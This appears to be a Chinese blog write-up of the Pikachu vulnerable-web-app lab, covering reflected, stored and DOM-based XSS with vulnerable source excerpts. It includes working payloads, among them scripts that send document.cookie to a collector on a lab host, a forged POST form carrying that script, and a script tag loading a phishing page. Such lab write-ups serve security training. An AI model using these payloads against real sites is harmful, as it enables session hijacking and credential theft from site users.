zoukankan      html  css  js  c++  java
  • pikachu-xss(1)

    反射性xss(get)
    输入特殊字符,没有被过滤,内容没有被改变
    改变长度的限制,输入简单的脚本语言
    <script>alert('nice')<script>
    这里是以get方式提交到后台,url的内容提交到后台
    get和post典型区别:
    get是以url方式提交数据
    post是以表单方式在请求体里面提交
    get方式的xss漏洞更加容易被利用,一般利用的方式是将带有跨站脚本的url伪装后发送给目标,而post方式由于是以表单方式提交,无法直接使用url方式进行攻击
    查看下页面源代码
    而且输入框有限制修改下

    输入脚本语言

    <script>alert('aaa')</script>
    

    存储型xss

    存储型xss漏洞跟反射型形成的原因一样,不同的是存储型xss下攻击者可以将脚本注入到后台存储起来,构成更加持久的危害,因此存储型xss也称为‘永久型’xss

    同样按照上面方式进行攻击

    输入特殊字符<>""'',并查看页面源代码

    跟上面一样输入脚本语言

    刷新之后还是会出现弹窗

    源码里面虽然插入数据库做了转义(防止sql注入)但输出之后还是原封不动的输出了

    $message = escape($link, $_POST['message']);//转义
    $query="select * from message";
                        $result=execute($link, $query);
                        while($data=mysqli_fetch_assoc($result)){
                            echo "<p class='con'>{$data['content']}</p><a href='xss_stored.php?id={$data['id']}'>删除</a>";
                        }
    
                        echo $html;
                        ?>//这里他用循环原封不懂得输出了
    
    DOM型xss
    所谓DOM就是访问HTML标准编程得接口
    通过JavaScript,可以重构整个HTML文档,可以添加、删除、改变或重排页面上得项目
    要改变页面得某个东西,JavaScript就需要获得对HTML文档中所有元素进行访问得入口,这个入口,连同对HTML元素进行添加、移动、改变或移除得方法和属性,都是通过文档对象模型来获得的(DOM)
    <script>
        function domxss(){
        var str = document.getElementById("text").value;
        document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
        }
     </script>
         <!--<a href="" onclick=('xss')>-->
        <input id="text" name="text" type="text"  value="" />
        <input id="button" type="button" value="click me!" onclick="domxss()" />
        //这里源码得大概意思就是获取你输入得字符串放到str里面在进行输出,所以我们只需要闭合一下a标签然后打印一下弹窗就可以了
    

     输入弹窗代码

    #' onclick = " alert('aaa') ">
    

     

    DOM型xss-x

    看下源码
    <script>
         function domxss(){
         var str = window.location.search;
         var txss = decodeURIComponent(str.split("text=")[1]);
         var xss = txss.replace(/+/g,' ');
    //   alert(xss);
    
         document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
         }
        //试试:'><img src="#" onmouseover="alert('xss')">
        //试试:' onclick="alert('xss')">,闭合掉就行
        </script>
        <!--<a href="" onclick=('xss')>-->
        <form method="get">
        <input id="text" name="text" type="text"  value="" />
        <input id="submit" type="submit" value="请说出你的伤心往事"/>
    //这里将输入得内容给xss,返回到了url里,这样就和第一种反射性差不多了,入侵方法与dom一致闭合掉a标签就行
    

     输入弹窗代码

    #' onclick = " alert('aaa') ">
    

    cookie获取和钓鱼攻击
    xss如何获取cookie

    进入到皮卡丘后台,登录之后,点击cookie之后发现里面并没有数据,这时在另一个界面用反射型登录一下,这里注意一下,本地的路径要写对了,否则不能进入

    <script>document.location='http://192.168.21.10/pikachu-master/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>
    

     修改一下重定向

    获取的cookies结果

    将referer复制一下,这样用户一旦访问referer这个链接就会出现cookies泄露的情况

    post方式下xss漏洞
    将post.html的内容进行分析
    <form method="post" action="http://192.168.21.10/pikachu-master/vul/xss/xsspost/xss_reflected_post.php">//欺骗的跳转页面
        <input id="xssr_in" type="text" name="message" value=
        "<script>
    document.location = 'http://192.168.21.10/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookie;//恶意代码
    	</script>"
    	 />
        <input id="postsubmit" type="submit" name="submit" value="submit" />
    
    用户登录之后输入恶意代码(这里产生cookie),结果如下

    xss钓鱼演示
    因为是存储型,所以每次打开网页之后都会执行,利用这一点我们在里面输入一个伪造的新网站,当用户输入账号密码后,我们就可以根据保存的cookie值来获取
    <script src="http://192.168.21.10/pikachu-master/pkxss/xfish/fish.php"></script>
    

     

     

    然后在进入后台就能查看结果了

  • 相关阅读:
    C#中IEnumerable、ICollection、IList、List之间的区别
    H5中画图标签Canvas---画矩形,画线,画圆,渐变色,图形载入
    centos启用ftp功能
    CentOS 7 安装FTP服务器(vsftpd)
    Linux下如何修改用户默认目录
    Centos搭建FTP服务器
    MyBatis 示例之存储过程
    MyBatis:MyBatis操作MySQL存储过程
    mybatis的select、insert、update、delete语句
    日常运维中的相关日志切割处理方法总结 [Logrotate、python、shell脚本实现 ]
  • 原文地址:https://www.cnblogs.com/zhao-yang/p/12599816.html
Copyright © 2011-2022 走看看